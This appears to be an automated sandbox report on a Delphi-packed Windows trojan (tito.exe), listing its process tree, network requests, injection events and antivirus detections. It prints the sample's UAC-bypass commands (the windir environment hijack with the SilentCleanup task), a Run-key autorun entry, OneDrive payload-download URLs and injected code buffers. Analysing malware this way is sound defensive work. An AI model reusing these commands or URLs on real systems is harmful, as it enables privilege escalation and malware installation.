Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 3, 2021, 5:11 p.m.	Sept. 3, 2021, 5:20 p.m.

Size	732.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`7c8efbe367f82fb25ec6c42479a64a25`
SHA256	`31d59daddd21ce0c7d8af7d24a16d54e3c5bd4b3b3adbd772de05177b7812059`
CRC32	`024B2BF2`
ssdeep	`12288:wyL+XIUEkt8A+CSspygap6vXD85pzM4ecXgin8IXY:jS4Tkt7gsHamDqpzMlcQi8Q`
Yara	PE_Header_Zero - PE File Signature Admin_Tool_IN_Zero - Admin Tool Sysinternals Malicious_Library_Zero - Malicious_Library IsPE32 - (no description)

tito.exe "C:\Users\test22\AppData\Local\Temp\tito.exe"
1896
- cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
  2112
  - cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    2660
    - reg.exe reg delete hkcu\Environment /v windir /f
      2656
    - reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      1940
    - schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      1884
- cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
  2388
  - reg.exe reg delete hkcu\Environment /v windir /f
    1332

Name	Response	Post-Analysis Lookup
ya7p6a.sn.files.1drv.com	CNAME odc-sn-files-geo.onedrive.akadns.net CNAME sn-files.fe.1drv.com CNAME sn-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net A 13.107.42.12 CNAME odc-sn-files-brs.onedrive.akadns.net CNAME l-0003.l-msedge.net	13.107.42.12
onedrive.live.com	CNAME odc-web-geo.onedrive.akadns.net CNAME l-0004.l-msedge.net A 13.107.42.13 CNAME odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net CNAME odc-web-brs.onedrive.akadns.net	13.107.42.13

IP Address	Status	Action
13.107.42.12	Active	Moloch
13.107.42.13	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49202 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49201 -> 13.107.42.13:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49203 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49201 13.107.42.13:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	CN=onedrive.com	50:2f:33:10:92:ac:27:7b:17:be:82:68:3b:e2:29:ad:97:41:b7:bb
TLSv1 192.168.56.101:49203 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e
TLSv1 192.168.56.101:49202 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Sept. 3, 2021, 5:11 p.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (22 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: /min C:\Users\Public\UKO.bat console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: schtasks console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: exit console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 3, 2021, 5:11 p.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 3, 2021, 5:18 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:18 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:18 p.m.	buffer: /min reg delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Sept. 3, 2021, 5:18 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.itext

The executable uses a known packer (1 event)

packer

BobSoft Mini Delphi -> BoB / BobSoft

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (3 events)

request	GET https://onedrive.live.com/download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21144&authkey=ADKru-6Ld-lJ97I
request	GET https://ya7p6a.sn.files.1drv.com/y4mwfXOKjaW69wYFkI3SGx3XTuEnz3xPlm0bryjw2gLBg6o-LSPkzMUDb6s5J_u7Bs8WP2vq4AreLgWt8E5kWbcSNvbIxhLJGsTa7XUSyO2qSF9NtU9dLinxHeGEo3KfheOwsTJ84lSmZ-nlXoL5ltTl-00PpD3-J3OxW1Ab6Zi6u5vwzjA0oUiQdVA3769hxc9KhNbpGfeT0MzPyXyQOVyPg/Dbixhszrnpskrfhdmybztzypykrurds?download&psid=1
request	GET https://ya7p6a.sn.files.1drv.com/y4md987bqpeXyH2yULsrm7vyAfWGLIv2wUJDK4ZcmIW_gedctayW5Tizvqt6qaXXNJCi0qgQVjqyPw6fyISiI2mCcGw1_2ug6rQFtxzfwu-KEuHO_Ym8-xZIhpf424sLtIZ6ywXv9lJ7JXVsQZB0q4xbTZYcCthKmj7ucINV_3gx9g_uBwYGTzab4Q0jSkxKc1_67ZLKtdM8MmXPgItTMFlog/Dbixhszrnpskrfhdmybztzypykrurds?download&psid=1

Allocates read-write-execute memory (usually to unpack itself) (4 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73cc2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1896 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 495616 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10591000 process_handle: 0xffffffff	1

Creates executable files on the filesystem (5 events)

file	C:\Users\Public\KDECO.bat
file	C:\Users\Public\UKO.bat
file	C:\Users\Public\Libraries\Dbixhsz\Dbixhsz.exe
file	C:\Users\Public\Trast.bat
file	C:\Users\Public\nest.bat

Creates a suspicious process (3 events)

cmdline	C:\Windows\System32\mshta.exe
cmdline	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 94208 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x04831000 process_handle: 0xffffffff	1	0	0

Yara rule detected in process memory (50 out of 60 events)

description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	reg delete hkcu\Environment /v windir /f
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline	reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 7e14beaa4dadf712fe1a52098774f281c9198cdb

Allocates execute permission to another process indicative of possible code injection (12 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000534	1
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00020000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00030000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00100000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00110000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00120000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00170000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Dbixhsz

reg_value

C:\Users\Public\Libraries\zshxibD.url

Deletes executed files from disk (1 event)

file	C:\Users\Public\UKO.bat

Creates a thread using CreateRemoteThread in a non-child process indicative of process injection (5 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1896 created a remote thread in non-child process 1512
CreateRemoteThread Sept. 3, 2021, 5:11 p.m.	thread_identifier: 2760 process_identifier: 1512 function_address: 0x000b0000 flags: 0 stack_size: 0 parameter: 0x00000000 process_handle: 0x00000534	1	1340	0
CreateRemoteThread Sept. 3, 2021, 5:11 p.m.	thread_identifier: 656 process_identifier: 1512 function_address: 0x000f0000 flags: 0 stack_size: 0 parameter: 0x000e0000 process_handle: 0x00000534	1	1340	0
CreateRemoteThread Sept. 3, 2021, 5:11 p.m.	thread_identifier: 1812 process_identifier: 1512 function_address: 0x00110000 flags: 0 stack_size: 0 parameter: 0x00100000 process_handle: 0x00000534	1	1336	0
CreateRemoteThread Sept. 3, 2021, 5:11 p.m.	thread_identifier: 1048 process_identifier: 1512 function_address: 0x00170000 flags: 0 stack_size: 0 parameter: 0x00120000 process_handle: 0x00000534	1	1344	0

Manipulates memory of a non-child process indicative of process injection (13 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1896 manipulating memory of non-child process 1512
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1	0	0
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000534	1	0	0
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1	0	0
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1	0	0
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1	0	0
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1	0	0
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00020000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1	0	0
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00030000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1	0	0
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00100000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1	0	0
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00110000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1	0	0
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00120000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1	0	0
NtAllocateVirtualMemory Sept. 3, 2021, 5:11 p.m.	process_identifier: 1512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00170000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000534	1	0	0

Potential code injection by writing to the memory of another process (12 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1896 injected into non-child 1512
WriteProcessMemory Sept. 3, 2021, 5:11 p.m.	buffer: hÿhÿ×IsuÕ?wkernel32.dllÿ<û=\ú=¾t½rú=É½r ý~pú=la½rQy½ra ý~ú=:½r6;Ãrû=mØ¾räú=äú=ÿÿÿÿPû=<û=B?ÿ$,û=,%ôú=PíïÀTíï,û=¹EÁE`û=F base_address: 0x000b0000 process_identifier: 1512 process_handle: 0x00000534	1	1	0
WriteProcessMemory Sept. 3, 2021, 5:11 p.m.	buffer: GetProcAddress base_address: 0x000c0000 process_identifier: 1512 process_handle: 0x00000534	1	1	0
WriteProcessMemory Sept. 3, 2021, 5:11 p.m.	buffer: kernel32.dll base_address: 0x000d0000 process_identifier: 1512 process_handle: 0x00000534	1	1	0
WriteProcessMemory Sept. 3, 2021, 5:11 p.m.	buffer: Õ?w"suEsu base_address: 0x000e0000 process_identifier: 1512 process_handle: 0x00000534	1	1	0
WriteProcessMemory Sept. 3, 2021, 5:11 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøh,Nh@NèÿÿPèÿÿEèhPNh@NèéÿÿPèëÿÿEäh`Nh@NèÑÿÿPèÓÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº8MÃè`üÿÿØÛtjÿSèRÿÿEôPSè@ÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x000f0000 process_identifier: 1512 process_handle: 0x00000534	1	1	0
WriteProcessMemory Sept. 3, 2021, 5:11 p.m.	buffer: LoadLibraryA base_address: 0x00020000 process_identifier: 1512 process_handle: 0x00000534	1	1	0
WriteProcessMemory Sept. 3, 2021, 5:11 p.m.	buffer: kernel32.dll base_address: 0x00030000 process_identifier: 1512 process_handle: 0x00000534	1	1	0
WriteProcessMemory Sept. 3, 2021, 5:11 p.m.	buffer: Õ?w"suEsu base_address: 0x00100000 process_identifier: 1512 process_handle: 0x00000534	1	1	0
WriteProcessMemory Sept. 3, 2021, 5:11 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøh,Nh@NèÿÿPèÿÿEèhPNh@NèéÿÿPèëÿÿEäh`Nh@NèÑÿÿPèÓÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº8MÃè`üÿÿØÛtjÿSèRÿÿEôPSè@ÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00110000 process_identifier: 1512 process_handle: 0x00000534	1	1	0
WriteProcessMemory Sept. 3, 2021, 5:11 p.m.	buffer: YoY base_address: 0x00120000 process_identifier: 1512 process_handle: 0x00000534	1	1	0
WriteProcessMemory Sept. 3, 2021, 5:11 p.m.	buffer: UìÄøEUøPUü1ÀPjÿuøÿUüYY]Â@UìÄÔSVWúðEÔ\Dèñÿÿ3ÀUh%Mdÿ0d ÆEÿG<ÇEô»Ãj@h0Eô@PPEô@4ÃPèÄÿÿEð}ðt0hjEðPè»ÿÿj@h0Eô@PPEô@4ÃPVèÿÿEð}ðuû0vEÔPÏUðÆèEÔÀt7EèUàUìUøRUØRPEðPVèÿÿjjMèºðKÆè_ýÿÿÀtÆEÿ3ÀZYYdh,MEÔ\DèÄÿÿÃ base_address: 0x00170000 process_identifier: 1512 process_handle: 0x00000534	1	1	0

Network activity contains more than one unique useragent (2 events)

process	tito.exe				useragent	zipo
process	tito.exe				useragent	aswe

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2112 resumed a thread in remote process 2660
Process injection	Process 2388 resumed a thread in remote process 1332
NtResumeThread Sept. 3, 2021, 5:11 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2660	1	0	0
NtResumeThread Sept. 3, 2021, 5:18 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 1332	1	0	0

File has been identified by 22 AntiVirus engines on VirusTotal as malicious (22 events)

Bkav	W32.AIDetect.malware1
Lionic	Trojan.Win32.Malicious.4!c
Elastic	malicious (high confidence)
Cynet	Malicious (score: 100)
McAfee	RDN/Generic.grp
Malwarebytes	Malware.AI.4097121984
CrowdStrike	win/malicious_confidence_70% (W)
ESET-NOD32	a variant of Win32/GenKryptik.FJYD
APEX	Malicious
Paloalto	generic.ml
Kaspersky	UDS:DangerousObject.Multi.Generic
Sophos	Generic ML PUA (PUA)
McAfee-GW-Edition	BehavesLike.Win32.Generic.bh
FireEye	Generic.mg.7c8efbe367f82fb2
SentinelOne	Static AI - Suspicious PE
Kingsoft	Win32.Troj.Generic_a.a.(kcloud)
ZoneAlarm	UDS:DangerousObject.Multi.Generic
Microsoft	Trojan:Win32/DelfInject.RT!MTB
VBA32	BScope.Trojan.Diple
Cylance	Unsafe
Fortinet	W32/GenKryptik.FJYD!tr
MaxSecure	Trojan.Malware.300983.susgen

tito.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All